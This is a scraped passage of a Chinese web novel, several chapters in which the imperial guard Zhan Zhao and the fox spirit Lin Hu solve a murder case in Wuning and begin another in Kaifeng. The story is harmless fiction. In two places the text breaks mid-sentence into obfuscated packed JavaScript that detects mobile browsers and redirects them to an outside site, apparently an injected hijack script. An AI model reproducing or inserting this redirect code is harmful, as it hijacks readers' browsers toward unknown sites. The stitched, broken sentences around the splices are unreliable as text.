林狐趴在房梁上,心脏怦怦直跳。她能闻见护卫身上的酒气,混着秦府特有的檀香,和白日里跟着马车的灰衣汉子身上的味道一模一样。这些人果然是秦慕白派来的,他们不仅监视沈玉薇,还要搜查书房——难道秦慕白也在找顾云舟的遗物? 火把的光离房梁越来越近,其中一个护卫仰头张望,林狐下意识缩起尾巴,后腰却不小心撞到了梁上的木盒,里面的算盘珠子“哗啦啦”滚了下来,落在地上发出清脆的响。 “上面有人!”护卫立刻举刀指向房梁,火把的光刺得林狐睁不开眼。她知道不能再等,猛地从房梁跃下,足尖在书架上一点,借力冲向窗口,袖中的短刀顺势扫落案上的烛台,烛火落在地上点燃了宣纸,瞬间燃起一小片火光。 “拦住她!”领头的护卫怒吼着追上来,刀锋几乎擦着她的发梢掠过。林狐侧身躲过,尾巴在身后一卷,缠住护卫的脚踝,猛地向后一拽——那护卫重心不稳摔在地上,撞翻了满架的书,纸页纷飞中,她已冲出书房,像道红影窜进梅园。 梅园的枝桠划破了她的手臂,渗出血珠,混着梅树的清香在空气中弥漫。林狐不敢回头,只知道往枯井的方向跑,耳边是越来越近的脚步声和呵斥声。她突然想起展昭的话,“若被发现就往枯井跑”,此刻才明白他早料到会有凶险,这枯井定是他早就勘察好的退路。 “咚”的一声,她撞进一个温暖的怀抱。熟悉的皂角香混着剑穗的铁锈味包裹了她,是展昭!他不知何时已等在枯井旁,巨阙剑斜背在身后,月光落在他的侧脸,轮廓冷硬如雕塑,眼神却满是焦急。 “跑这么快?”他的声音带着后怕的沙哑,伸手按住她流血的手臂,指尖微微发颤,“伤着了?” 林狐摇摇头,往他怀里钻得更深了,尾巴紧紧缠着他的腰,像条受惊的小蛇:“抄本拿到了!快……快躲起来!” 展昭没说话,弯腰将她抱进枯井。井壁上有他提前凿好的踏脚处,他一手托着她,一手抓着井绳往下放,动作稳得像在平地上行走。井底铺着厚厚的干草,是他下午特意让人准备的,踩上去软乎乎的,像落在云里。 “待在这里别动。”他替她擦去脸上的灰,指尖在她耳后轻轻捏了捏——这是他们之间的暗号,意为“我很快回来”。林狐乖乖点头,看着他转身跃出井口,巨阙剑“噌”地出鞘,紧接着是兵刃相接的脆响和护卫的惨叫,声音越来越远,最终被风吹散在夜色里。 井底很暗,只有井口漏下的一点月光,像块碎银。林狐蜷缩在干草上,怀里紧紧抱着那册抄本,指尖触到纸页上沈玉薇的泪痕,突然觉得鼻子发酸。沈玉薇藏着抄本十年,究竟是在怀念顾云舟,还是在守护什么秘密?秦慕白派人搜查,是怕秘密曝光,还是在找能要挟沈玉薇的把柄? 不知过了多久,井口传来轻响,展昭的脸出现在月光里,嘴角沾着点血,是别人的。“解决了。”他跳下来,伸手将她从干草堆里抱起来,“没吓着吧?” 林狐摇摇头,突然踮起脚尖吻他的嘴角,把那点血迹舔掉了。她的动作很轻,像片羽毛落在唇上,带着点笨拙的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“是青丘的标记!”林狐的眼睛亮了,“这是我们狐族的药方,专治跌打损伤!顾云舟认识狐族人?” 展昭拿起药方,指尖拂过那个狐狸头,突然想起包拯提过,十年前青丘曾有位长老来中原游历,与开封府有过交集,后来却在武宁府失踪了。难道顾云舟的失踪,与这位长老有关?甚至……与林狐的族人有关? 他突然看向林狐,见她正低头抚摸那个狐狸头,尾巴轻轻晃着,眼里满是困惑。他不能让她知道这些,至少现在不能——青丘与中原的恩怨错综复杂,他不想让她卷入十年前的旧案,更不想她因族人的事为难。 “可能是巧合。”他合上抄本,语气尽量轻松,“先不管这些,明天去城西破庙看看再说。” 林狐点点头,却突然往他怀里钻,耳朵贴在他的胸口,听着他沉稳的心跳:“展昭,你说顾云舟还活着吗?”她的声音很轻,带着点孩子气的期待,“要是他还活着,我们就能告诉他,沈玉薇一直在等他,秦慕白也会受到惩罚。” 展昭抱着她,下巴抵在她的发顶,闻着她发间的梅香。他查案多年,见过太多生离死别,早已不信“奇迹”二字,可看着她亮晶晶的眼睛,却忍不住想给她一点希望:“也许吧。”他说,“也许他只是躲起来了,等我们找到他。” 窗外的天色渐渐泛白,驿站的公鸡开始啼鸣,一声声划破黎明前的寂静。林狐在他怀里渐渐睡熟,尾巴松松地缠着他的手腕,像个温柔的结。展昭看着桌上的抄本,目光落在“城西破庙”四个字上,心里清楚,明天等待他们的,绝不会是简单的寻找——秦慕白既然敢派人搜查沈府,就绝不会坐视他们找到顾云舟的踪迹,城西破庙,定是一场鸿门宴。 但他不怕。只要身边有这只睡梦中还在往他怀里钻的小狐狸,只要手里握着巨阙剑,哪怕前路是刀山火海,他也甘愿闯一闯。他低头吻了吻林狐的额头,油灯的光在她脸上投下柔和的光晕,像蒙上了一层薄纱。 “睡吧,”他轻声说,“明天,还有硬仗要打。” 林狐在梦里哼唧了一声,往他怀里蹭了蹭,发出舒服的呼噜声。驿站外的街道渐渐有了动静,卖早点的小贩推着车走过,木轮碾过青石板的声响“咕噜噜”的,混着远处寺庙的钟声,武宁府的新一天,开始了。而属于展昭与林狐的查案之路,也即将走向更凶险的深处。 43. 情魔诡案(五) 武宁府的雨下得邪乎,豆大的雨点砸在驿站的青瓦上,噼里啪啦响得像有人在屋顶撒豆子。展昭正对着油灯研究秦慕白的供词,忽然听见廊下传来"啪嗒"一声,抬头就看见林狐顶着片荷叶跑进来,火红的尾巴湿淋淋地耷拉着,活像条刚从水里捞出来的红鲤鱼。 "顾云舒来了!"她甩掉荷叶上的水珠,耳朵尖还在往下滴水,"抱着个油布包,哭得跟下雨天的猫似的,拦都拦不住。" 展昭刚起身,就见顾云舒踩着泥水闯进来,青色裙裾湿得能拧出水,怀里的油布包却抱得紧紧的,边角渗出暗红的水渍,看着像裹着什么要紧东西。她看见展昭,膝盖一软就跪了下去,眼泪混着雨水往下掉,砸在青砖地上洇出小水洼。 "展护卫!您一定要替家兄报仇啊!"她的声音抖得像风中的蛛网,"那秦慕白不是人!是披着人皮的狼!" 林狐赶紧拖过张椅子,又往她手里塞了个暖炉。顾云舒攥着暖炉,指节捏得发白,油布包里露出半块玉佩,"云"字的刻痕里还嵌着黑泥,看着有些年头了。 "十年前那个雨夜,"她深吸一口气,声音突然发狠,"我亲眼看见秦慕白把家兄推下河!他还用船桨往水里砸,一下下跟砸鱼似的......"说到这儿突然哽咽,暖炉"哐当"掉在地上,滚出老远。 林狐"嗷"一声窜过去捡暖炉,回来时却停在顾云舒脚边,鼻尖在玉佩上嗅来嗅去,尾巴尖突然绷得笔直:"这上面有秦慕白的味儿!还有......冷梅香!跟他书房香炉里的一模一样!" 展昭心头一震。他想起昨夜在秦府暗格里翻出的香料盒,那冷梅香膏黏在盒底,带着股甜腻的腥气,当时只当是秦慕白讨好沈玉薇用的,此刻才惊觉——前三案的死者房里都有这味道! "你是说,"他指尖在供词上敲出轻响,"秦慕白用这香标记死者?" "不止!"顾云舒突然想起什么,从袖中掏出张揉皱的纸,"这是从家兄旧书里找的,上面记着当年见过他和秦慕白争执的人......您看,正好是死去的那几个!" 纸上的字迹歪歪扭扭,像是匆忙间写就,"盐商外室、粮商小妾"几个名字旁还画着叉,最后一个正是"知县宠妾苏氏"。展昭看着那几个叉,突然明白——哪是什么"情魔"复仇,分明是秦慕白在灭口! 林狐突然跳上桌子,爪子指着纸角的小狐狸标记:"这是青丘的记号!我认识!"她转头冲展昭眨眼睛,尾巴得意地晃了晃,"上次去青丘探亲,白爷爷还跟我炫耀,说十年前救过个书生,给人家画过这个!" 展昭这才恍然大悟。顾云舟日记里写的"遇仙得救",哪里是什么仙,分明是青丘狐族!难怪他总能避开秦慕白的追杀,难怪沈玉薇总说"云舟会回来"——她怕是早就知道顾云舟没死,只是被狐族救走了。 "沈玉薇......"他刚念出这个名字,就见林狐耳朵一竖,往门外跑:"说曹操曹操到!她被秦府的人押着往这边来了!" ***秦府的护卫跟拎小鸡似的架着沈玉薇,她月白襦裙上沾着泥,发钗掉了一只,却仍死死攥着那册《断肠词》,指甲都掐进书页里。看见展昭,她突然挣脱护卫,扑过来把书塞进他怀里,声音又急又哑:"这是证据!秦慕白模仿云舟的笔迹写残词,就是想嫁祸给我!" 话音刚落,秦慕白就带着人闯进来,青色官袍敞开着,露出里面绣着寒梅的里衣,活像只炸了毛的孔雀。"沈玉薇你疯了!"他指着她的鼻子骂,"我对你还不够好吗?非要护着那个死人!" "他没死!"沈玉薇突然拔高声音,眼泪唰地掉下来,"云舟只是被你逼走了!你以为烧了他的书、沉了他的船,就能瞒天过海?" 秦慕白的脸瞬间涨成猪肝色,突然从靴筒里抽出把短刀,"噌"地架在沈玉薇脖子上:"闭嘴!再敢胡说,我现在就杀了她!" 护卫们立刻拔刀相向,驿站里的桌椅被撞得东倒西歪,顾云舒吓得缩在角落,手里还紧紧攥着那半块玉佩。展昭将林狐往身后一护,巨阙剑"哐当"出鞘,剑光在油灯下晃得人睁不开眼:"秦慕白,束手就擒吧。" "束手就擒?"秦慕白突然狂笑,刀尖在沈玉薇颈间压出道红痕,"我得不到的,谁也别想得到!当年若不是顾云舟那个穷酸书生,玉薇本该是我的!" 林狐突然从展昭身后探出头,尾巴尖悄悄勾住他的手腕——这是他们约定的暗号,意为"我要动手"。展昭刚想按住她,就见她身形一晃,像团红火球扑向秦慕白,袖中短刀"嗖"地飞出去,不偏不倚砸在他握刀的手腕上。 "嗷!"秦慕白吃痛,短刀"当啷"落地。林狐趁机揪住沈玉薇的腰带,往后一拽,两人双双跌进展昭怀里。她抬头冲展昭龇牙笑,鼻尖还沾着点灰:"看!我学的''流星赶月'',比你教的还快吧?" 展昭又气又笑,伸手擦掉她鼻尖的灰,指尖却被她趁机舔了一下,带着点恶作剧的湿滑。"下次再胡闹,"他压低声音,语气却软得像棉花,"就罚你三个月不许吃桂花糕。" 秦慕白还想挣扎,被赶进来的张龙赵虎按住,反剪双手捆了个结实。他看着沈玉薇扑在展昭怀里,突然像泄了气的皮球,瘫在地上直哼哼:"我不甘心......我明明比顾云舟强......" 沈玉薇理了理衣襟,从袖中掏出块玉佩,与顾云舒手里的正好拼成完整的"云舟"二字。"你永远比不上他,"她的声音冷得像冰,"云舟的心里装着天地,你的心里只有你自己。" 雨不知何时停了,月光从窗棂钻进来,照得玉佩闪闪发亮。林狐趴在展昭肩头,看着那两块合二为一的玉佩,突然觉得鼻子发酸。她蹭了蹭展昭的侧脸,小声说:"顾云舟肯定还活着,对吧?" 展昭搂住她的腰,往她发顶亲了亲:"嗯,肯定活着。"他知道,这不仅仅是安慰——青丘狐族最是重诺,既救了顾云舟,定会护他周全。说不定此刻,那位书生正在青丘的桃花树下,等着为他洗冤的这一天。 ………… 秦慕白被押走时还在撒泼,蹬得囚车哐哐响,嘴里骂骂咧咧的,一会儿骂沈玉薇忘恩负义,一会儿骂顾云舟死缠烂打,活像个没断奶的孩子。林狐趴在驿站的窗台上看笑话,尾巴晃得像拨浪鼓:"你看他那样子,哪像个通判,倒像开封府后街耍无赖的二狗子。" 展昭正在整理卷宗,闻言抬头,正好看见她尾巴尖扫过窗台上的空酒坛,那是顾云舒送来的桃花酒,昨夜被这小狐狸偷喝了大半。"小心点,"他屈指敲了敲她的尾巴根,"再闹把酒坛踢下去,仔细你的狐狸毛。" 林狐嗷呜一声捂住尾巴,转身扑进他怀里,鼻尖在他脖颈间蹭来蹭去:"我不闹了还不行吗?"她突然抬起头,眼睛亮晶晶的,"展昭,我们什么时候回开封?我想吃张记的糖画了,还要去相国寺喂鸽子。" "等把秦慕白交给当地官府,"他捏了捏她的耳朵,指尖触到那点柔软的绒毛,"就带你去吃遍开封府的小吃。" 话音刚落,就见顾云舒提着个食盒走进来,脸上带着点腼腆的笑:"展护卫,林姑娘,我做了些点心,不成敬意。"食盒打开时飘出股桂花香,里面是几碟精致的糕点,还有个小坛子,"这是剩下的桃花酒,林姑娘要是喜欢......" "喜欢喜欢!"林狐眼睛都直了,尾巴瞬间缠上顾云舒的手腕,"顾姐姐你真好!比展昭大方多了,他昨天还抢我的酒呢!" 展昭无奈地摇头,刚要辩解,就见林狐已经抱着酒坛啃开了泥封,桃花香混着酒香漫开来,甜得人心里发颤。"慢点喝,"他伸手想抢,却被她灵活躲开,"别又喝醉了变回狐狸,到时候我可不管你。" "才不会呢!"林狐仰着脖子灌了一大口,酒液顺着嘴角流下来,滴在衣襟上像朵桃花,"我酒量好着呢......"话没说完,身子突然晃了晃,眼睛开始发直,"哎呀......头有点晕......" 顾云舒看得直笑,从食盒里拿出块桂花糕:"吃点糕点压一压,这酒后劲大。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268135|182176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' " 林狐嚼着糕点,眼睛却还盯着酒坛,尾巴在身后轻轻晃着,像在算计怎么才能把剩下的酒藏起来。展昭看着她那点小心思,突然觉得这武宁府的阴霾都被她驱散了,只剩下这满室的花香与酒香,还有她醉醺醺的笑。 ***傍晚时分,驿站突然来了位不速之客。沈玉薇穿着身素色衣裙,手里捧着个锦盒,见了展昭,脸上带着点不好意思的红:"展护卫,这是云舟当年画的画,或许......你们会用得上。" 锦盒里是几幅山水图,画得栩栩如生,角落里都署着"云舟"二字。最后一幅却是幅仕女图,画中女子穿着月白襦裙,站在梅园里浅笑,眉眼间竟有几分像沈玉薇。"这是他临走前画的,"沈玉薇的指尖轻轻拂过画纸,"他说等回来,就把这画送给我当嫁妆。" 林狐突然指着画角的小狐狸,眼睛亮得像星:"这是青丘的标记!和白爷爷的印章一样!"她抬头冲展昭眨眼睛,尾巴得意地晃着,"我就说顾云舟在青丘吧!" 展昭看着那幅画,突然明白沈玉薇这些年的等待并非空穴来风。画中的梅树枝桠间藏着行小字:"待到梅花再开时,我必归来。"原来他从未忘记承诺,只是被困在了青丘,而沈玉薇,一直在等这株梅花开。 "多谢沈小姐。"他收起画,拱手行礼,"若有机会见到顾云舟,定会把您的心意转达。" 沈玉薇点点头,转身往门口走,走到门槛时突然回头,看着林狐抱着酒坛傻笑的样子,嘴角勾起抹温柔的笑:"林姑娘,展护卫是个好人,你要好好待他。" 林狐似懂非懂地点点头,往展昭怀里钻了钻,尾巴紧紧圈住他的腰,像在宣示主权。展昭看着她醉醺醺的样子,又看了看沈玉薇远去的背影,突然觉得这世间的情分,无论深浅,都值得被温柔以待。 ***夜深人静时,林狐果然又醉倒了。她变回狐狸形态,蜷在展昭膝头,小爪子还紧紧抱着酒坛,呼噜声打得震天响,活像只贪杯的小醉猫。 展昭替她擦去嘴角的酒渍,指尖触到她柔软的皮毛,心里软得一塌糊涂。他想起刚认识她的时候,她还是只在开封府屋顶上偷喝桂花酒的野狐狸,被他撞见时还张牙舞爪的,结果喝多了,抱着他的靴子就睡了过去,尾巴缠得像条红绳子。 "傻狐狸。"他低头在她额头亲了亲,声音轻得像叹息,"就知道喝酒。" 林狐在梦里哼唧了一声,往他怀里钻得更深了,小鼻子蹭着他的衣襟,像在寻找熟悉的气息。展昭失笑,伸手将她抱得更紧,巨阙剑在鞘中轻鸣,像是在守护这片刻的安宁。 窗外的月光像流水般淌进来,照得地上的卷宗泛着白,那些写满罪恶与阴谋的纸页,此刻在月光下显得格外平静。展昭知道,等天亮了,这些卷宗会将秦慕白钉在耻辱柱上,会还顾云舟一个清白,会让武宁府的百姓重获安宁。 但此刻,他什么都不想。他只想抱着怀里这只醉醺醺的小狐狸,听她均匀的呼噜声,看月光在她火红的皮毛上流淌,感受她尾巴尖偶尔扫过手背的痒意。这感觉比破获大案的成就感更实在,比御前受赏的荣光更熨帖,像寒夜里的炉火,像久旱后的甘霖,让他觉得这颗为查案而时刻紧绷的心,终于有了可以停靠的港湾。 远处传来更夫的梆子声,"咚——咚——",已经是三更天了。展昭低头看着怀里的林狐,她睡得正香,小爪子还在无意识地抓着他的衣襟,像个怕被丢下的孩子。他轻轻抚摸着她的尾巴,那里的毛最软,像上好的绸缎,心里默默想着:等回了开封,一定要把张记的糖画师傅请来,给她画只最大最威风的狐狸。 林狐似乎听懂了他的心思,在梦里咂了咂嘴,喉咙里发出"呼噜噜"的声音,像在回应。展昭低笑出声,月光落在他的侧脸,柔和了他平日里的锐利,只剩下化不开的柔情。 这趟武宁府之行,有血有泪,有惊有险,却也收获了最珍贵的温暖。而这份温暖,会像那坛桃花酒的余香,久久萦绕在他们心头,成为彼此生命里最温柔的印记。 44. 玩儿闹 回到开封府时,晨雾还没散。护城河边的柳树上挂着露水,风一吹就簌簌往下掉,打在青石板路上洇出星星点点的湿痕。林狐缩在展昭怀里,青灰色的尾巴圈着他的腰,鼻尖在他衣襟上蹭了蹭:“是开封府的味道,有公孙先生药箱里的甘草香。” 展昭推开房门,晨光恰好漫进来,在地板上织出细亮的网。桌上的白瓷瓶里插着半开的茉莉,是他临走前她插的,如今花瓣虽有点蔫,却还留着淡淡的香。“先去洗漱,”他把她放在梳妆台前的软垫上,青灰色的毛沾了点旅途的灰,看着像团蒙尘的玉,“再闹就让赵虎把你扔进浴桶。” 林狐“嗷”了一声,用尾巴尖勾住他的手指晃了晃。她变回人形时,发间还缠着根草屑——定是在回府的路上偷偷滚了麦田。展昭拿起桃木梳,刚碰到她的发尾,就被她反手按住手腕:“我自己来,你去给我找蜜饯,要话梅味的。” 他无奈地摇头,转身去翻柜子。刚拿出蜜饯罐,就听见身后“咚”的一声,回头见她摔在软垫上,青灰色的狐狸尾巴正从裙摆里冒出来,显然是没站稳现了原形。“笨狐狸。”他走过去,伸手把她捞进怀里,指尖触到她耳后细软的绒毛,“就不能安生片刻?” 林狐用脑袋蹭他的掌心,喉咙里发出呼噜噜的声响。这时门外传来脚步声,张龙端着水盆进来,见了缩在展昭怀里的青灰色狐狸,忍不住笑:“林姑娘这是累坏了?昨天在城门口还追着卖糖画的跑呢。” “要糖画!”林狐突然变回人形,眼睛亮得像沾了露水的星,“要画成狐狸的,青灰色的那种!” 展昭捏了捏她的脸颊:“先洗漱,不然别说糖画,连公孙先生的杏仁酥都没得吃。”他替她拧干帕子,刚要擦她的脸,就被她抢过去,胡乱抹了两把,又往他脸上按了按,印出个淡淡的白印。 “幼稚。”他笑着骂,却没擦掉那印记。窗外的蝉鸣渐渐响起来,阳光爬上窗台,照得她发间的茉莉香愈发清透。林狐靠在他肩头,青灰色的尾巴悄悄缠上他的手臂,像条柔软的绸带:“还是开封府好,不用闻冷梅香,不用追秦慕白,就想天天睡懒觉。” 展昭低头吻了吻她的发顶,闻着她身上混着阳光的草木香,心里比蜜饯还甜。是啊,还是家里好,有她在,有这满室的烟火气,再凶险的案子,再漫长的旅途,都成了值得的奔赴。 午后的日头渐渐斜了,金红的光透过院角的梧桐叶,在青砖地上筛出明明灭灭的光斑。展昭坐在廊下的竹椅上擦剑,巨阙剑的冷光映着他低垂的眼睫,剑穗上的红丝绦垂在膝头,随着他的动作轻轻晃悠,扫过裤脚上暗绣的云纹。 林狐蹲在不远处的月季花架下,青灰色的尾巴尖在地上扫来扫去,卷起一小撮尘土又散开。她盯着展昭发顶被阳光染成浅金的碎发,耳朵尖微微颤动——方才看见他往剑鞘里塞了块话梅糖,定是想趁她午睡偷偷吃。 一阵风卷着槐花香漫过来,她忽然支棱起耳朵,悄没声息地绕到廊柱后。爪子扒着冰凉的石柱,青灰色的皮毛几乎与阴影融为一体,只露出双滴溜溜转的眼睛,盯着展昭肩头那片被阳光晒得发亮的布料。 “簌簌——”她猛地扬起尾巴,将怀里揣着的槐花瓣全抖了出去。雪白的花瓣打着旋儿落在展昭的剑穗上,有几片调皮地粘在他的发间,还有一片恰好落在他握着剑的手背上,被他指尖无意识地捻了捻。 “林狐。”他头也没抬,声音里带着笑意,剑脊在阳光下轻轻一弹,震得剑穗上的花瓣簌簌飘落,像场微型的雪。可他刚要抬手拂去发间的花,后腰突然窜过一阵痒意——是她用尾巴尖最软的那一撮毛,轻轻蹭过他束腰的玉带。 “痒……痒死啦!”她故意拖长了调子,趴在他背上晃悠,青灰色的尾巴像条灵活的绸带,在他腰侧绕来绕去,“谁让你藏话梅糖不给我吃?小气鬼!” 展昭反手去捉她,指尖刚触到她毛茸茸的尾巴根,她就“嗖”地滑开,绕到他面前时,手里举着串刚从厨房摘的紫葡萄,水珠还挂在果皮上,被阳光照得像缀了串紫水晶。“想吃不?”她把葡萄举到他鼻尖前,故意让清甜的果香往他鼻子里钻,眼睛弯成了月牙,“求我呀,求我就分你一颗。” 他挑眉起身,衣袍下摆扫过竹椅的竹篾,发出轻微的“沙沙”声。刚要伸手去够,她突然“嗷呜”一声缩成狐狸大小,叼着葡萄窜上了月季花架。青灰色的小身子蹲在最高的枝桠上,前爪抱着葡萄串,得意地晃着尾巴尖,还不忘腾出一只爪子,小心翼翼地剥开最紫的那颗,粉红的舌头舔了舔汁水,才小口小口地啃起来,紫色的汁水顺着嘴角往下淌,在灰扑扑的绒毛上晕开小朵小朵的花。 “下来。”展昭站在花架下,仰头看她,指尖在身侧蜷了蜷——方才摸她尾巴时,沾了点她皮毛上的阳光味,暖烘烘的。 林狐偏过头,圆溜溜的眼睛眨了眨,突然将葡萄籽“噗”地朝他吐过来。葡萄籽划过一道弧线,正好落在他束发的玉冠上,弹了一下又滚到他肩头。她立刻缩起脖子,耳朵贴在脑袋上,眼睛里却藏不住笑,尾巴在枝桠上轻轻拍打,震得几朵半开的月季落下来,落在他脚边。 展昭摘下玉冠上的葡萄籽,指尖捻着那颗小小的紫珠,突然足尖一点,身形像片叶子般掠过花架,稳稳落在她身旁的枝桠上。林狐吓了一跳,嘴里的葡萄“咚”地砸在青砖地上,沾了点泥土。她刚要窜走,后颈的软毛突然被轻轻按住——那是狐狸最受用的地方,她浑身的毛瞬间就软了,乖乖地趴在枝桠上,尾巴尖委屈地勾了勾,扫落几片月季花瓣。 “还闹么?”他低头看她,指尖顺着她的耳朵往下滑,青灰色的绒毛在指腹下簌簌颤动,像揉着一团被晒暖的云。 林狐用鼻尖蹭了蹭他的手腕,喉咙里发出“呼噜呼噜”的声音,像小猫在打呼噜。阳光透过月季花瓣的缝隙落在她脸上,给她的小鼻尖镀了层金边,连眼角沾着的一点槐花瓣,都显得格外俏皮。 展昭失笑,伸手将她拢进怀里,转身跃回地面。脚刚落地,怀里的小狐狸突然挣了挣,窜到地上叼起那颗沾了土的葡萄,又颠颠地跑回他脚边,用鼻尖把葡萄拱到他的皂靴前,尾巴尖轻轻扫着他的裤脚,沾了点泥土的小爪子在他鞋面上印了个浅浅的梅花印。 “这是……赔罪?”他弯腰捡起那颗葡萄,指尖触到冰凉的果皮,抬眼时,正看见她仰头望着他,眼睛亮得像盛了揉碎的星光。廊下的竹椅还在轻轻摇晃,剑穗上的红丝绦垂着,阳光漫过他们相视而 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风从院外溜进来,卷着晚桂的甜香扑在两人身上。廊下的灯笼被吹得轻轻摇晃,光影在他脸上明明灭灭,映得他下颌线的弧度愈发清晰。林狐的鼻尖蹭过他的喉结,那里的皮肤烫得惊人,她听见他倒吸一口气的轻响,像被火星烫到的纸。 “别闹了。”他伸手按住她的肩膀,指尖下的皮肤滚烫,隔着薄薄的衣料都能感受到她的颤。可话音刚落,她突然踮起脚,唇擦过他的下颌,像片被风吹落的桂花瓣,轻得几乎没有重量。 展昭的呼吸顿住了。晚桂的甜香突然变得浓稠,混着她身上的草木气,钻进鼻腔时竟带着点微醺的麻。他低头,正看见她眼睫上沾着的金粉似的阳光,和微微发颤的唇,像朵被暮色催开的花。 远处传来更夫的梆子声,“咚”的一声,敲碎了廊下的寂静。林狐突然缩回手,尾巴慌乱地扫过他的裤腿,转身想跑,却被他一把拽住手腕。他的掌心烫得吓人,指腹用力地碾过她的腕骨,像要在那里烙下印记。 “跑什么?”他的声音低得像耳语,带着点被压抑的哑。夕阳正一点点沉入远处的屋檐,把他的影子拉得很长,覆在她身上,像张温柔的网。 林狐没说话,只是抬头望着他,眼睛里的光忽明忽暗,像被风吹动的烛火。晚风吹得灯笼晃得更厉害了,光影在两人交握的手上流动,把那片皮肤都染得忽明忽暗,像藏着说不出的心事。 展昭盯着她微颤的唇,喉结滚了滚,终是松开了手。林狐“嗖”地窜到廊柱后,青灰色的尾巴尖从柱后探出来,轻轻扫了扫地面,又飞快地缩了回去,像只受惊的小兽。 他看着那截躲在柱后的尾巴,突然低笑出声,笑声里带着点无奈的哑。晚桂的香气还在廊下弥漫,甜得让人心里发紧。他转身拿起靠在竹椅上的剑,剑穗上的红丝绦在暮色里轻轻晃着,像根被拉长的弦。 “回房了。”他说,声音里的哑还没散去。 林狐从柱后探出头,看着他走向正房的背影,青灰色的尾巴尖轻轻晃了晃,沾了点落在地上的桂花瓣。夕阳彻底沉下去了,院子里的光一点点暗下来,只有廊下的灯笼还亮着,把两人的影子拉得很长,在青砖地上交缠又分开,像首没写完的诗。 45. 万家离魂案(一) 汴京的秋晨总带着点刁钻的凉。御街两旁的梧桐叶被风卷着,在青石板上打旋,发出"沙沙"的声响,像谁在暗处磨牙。开封府衙门前的石狮子,鬃毛上凝着层薄霜,远远望去,倒像头刚从冰窖里钻出来的猛兽。 "咚——咚——" 卯时的鼓声突然炸响,惊得檐下的麻雀扑棱棱撞在匾额上。展昭正帮包拯研墨,狼毫笔在砚台里转了半圈,墨汁溅出的小星子落在他手背上,像颗没干的血珠。 "包大人,"他放下笔时,腰间的剑穗扫过案几,带起一阵皂角香,"这鼓敲得急,怕是有棘手事。" 包拯放下手里的《洗冤录》,黑脸上没什么表情,额间的月牙却在晨光里泛着冷光:"升堂。" ***公堂的金砖被皂隶的水火棍砸得发颤,"咚"的一声,震得梁上的灰尘簌簌往下掉。苏婉清跪在冰凉的砖地上,素色裙裾沾着草屑,怀里紧紧抱着个描金漆盒,指节把漆面都抠出了白痕。 "民女苏婉清,求包大人做主!"她的声音抖得像秋风里的蛛网,却偏要仰着头,露出鬓角那支裂了缝的白玉簪,"青州万家出了鬼事——家叔万震南醒了就忘事,二弟万子墨死在枯井边,伤口上还沾着会发光的金粉!" 展昭站在侧首,目光落在她裙摆下的鞋。那双绣鞋的鞋底磨穿了洞,露出里面的稻草,鞋跟却沾着块青黑色的泥——那是青州特有的胶泥,混了黄河的沙,在汴京的街面上绝难见到。看来这姑娘是真的急疯了,连换双鞋的功夫都没有。 "金粉?"公孙策摇着折扇,扇骨敲得掌心"啪啪"响,"是青楼女子脸上的金箔,还是戏班子画脸谱的油彩?" 苏婉清突然哭出声,眼泪砸在金砖上,洇出个小小的湿圈:"都不是!是绿幽幽的粉末,像坟头上的鬼火!西域来的商队说,那叫''金屑膏'',沾了血就凝......" 话没说完,就被一阵嗤笑打断。白玉堂不知何时晃进了公堂,白衣上还沾着晨露,手里的折扇"唰"地展开,遮住半张脸:"苏姑娘怕不是听戏听多了?金屑膏是西域秘药,寻常商户家哪会有?" 苏婉清猛地抬头,眼里的泪还没干,却透着股倔强:"民女亲眼所见!二弟的伤口上就有,擦都擦不掉!"她把怀里的漆盒往地上一磕,"这是二弟失踪前托我保管的账本,他说......说万子轩要杀他!" 展昭的目光落在账本的封面上。暗红的绸面绣着"万记"二字,边角却有撕咬的痕迹,像是被什么动物啃过。他想起去年处理的"粮仓鼠患案",账本被老鼠咬出的缺口,和这个一模一样。 "包大人,"他上前一步,袍角扫过堂柱,带起一阵风,"青州距汴京千里,此案蹊跷,属下愿往。" "算我一个。"白玉堂收起折扇,指节敲了敲账本,"倒要看看,是哪家的耗子敢在万家兴风作浪。" 包拯的惊堂木"啪"地拍下,震得烛台都跳了跳:"展昭、白玉堂同往,公孙策携药箱随行。苏婉清,三日后启程,在此期间,开封府会护你周全。" ***退堂时,日头刚爬过角楼。展昭刚走到回廊,脚腕突然被毛茸茸的东西缠住——林狐不知从哪钻出来,青灰色的尾巴卷着他的裤腿,鼻尖在苏婉清跪过的地方嗅来嗅去,耳朵尖抖得像两片受惊的叶子。 "闻到什么了?"他弯腰把她捞进怀里,指尖触到她颈后的软毛,那里还带着点假山石的凉意。 林狐往他怀里钻了钻,尾巴尖指向青州的方向,喉咙里发出"呼噜噜"的声响,像只偷喝了米酒的猫:"甜的,像掺了黄连的蜜饯,还有......铁锈味,藏在香粉底下。" 展昭的心猛地一沉。他知道这小狐狸的鼻子比猎犬还灵。去年汴河沉尸案,就是她闻出死者发间的曼陀罗香,才揪出了幕后的采花贼。这甜香混着铁锈味,怕不是什么好兆头。 "展护卫倒是好福气,"白玉堂的声音从月亮门飘过来,他手里抛着个玉佩,"走到哪都带着个活鼻子。" 林狐突然从展昭怀里探出头,冲白玉堂龇了龇牙,青灰色的尾巴尖在他白袍上扫了扫,留下道浅灰的印子,活像只恶作剧得逞的猫。 "你这狐狸!"白玉堂作势要抓,却被展昭侧身躲开。 "她年纪小。"展昭的语气淡淡的,手却把林狐抱得更紧了,指尖无意识地摩挲着她的耳朵——那里的绒毛被阳光晒得暖烘烘的,像团刚出炉的棉絮。 林狐往他颈窝里蹭了蹭,鼻尖扫过他的喉结,那里的皮肤烫得像团火。她知道展昭不喜欢白玉堂总逗她,每次两人斗嘴,他都会这样暗暗护着她,像护着块怕摔的暖玉。 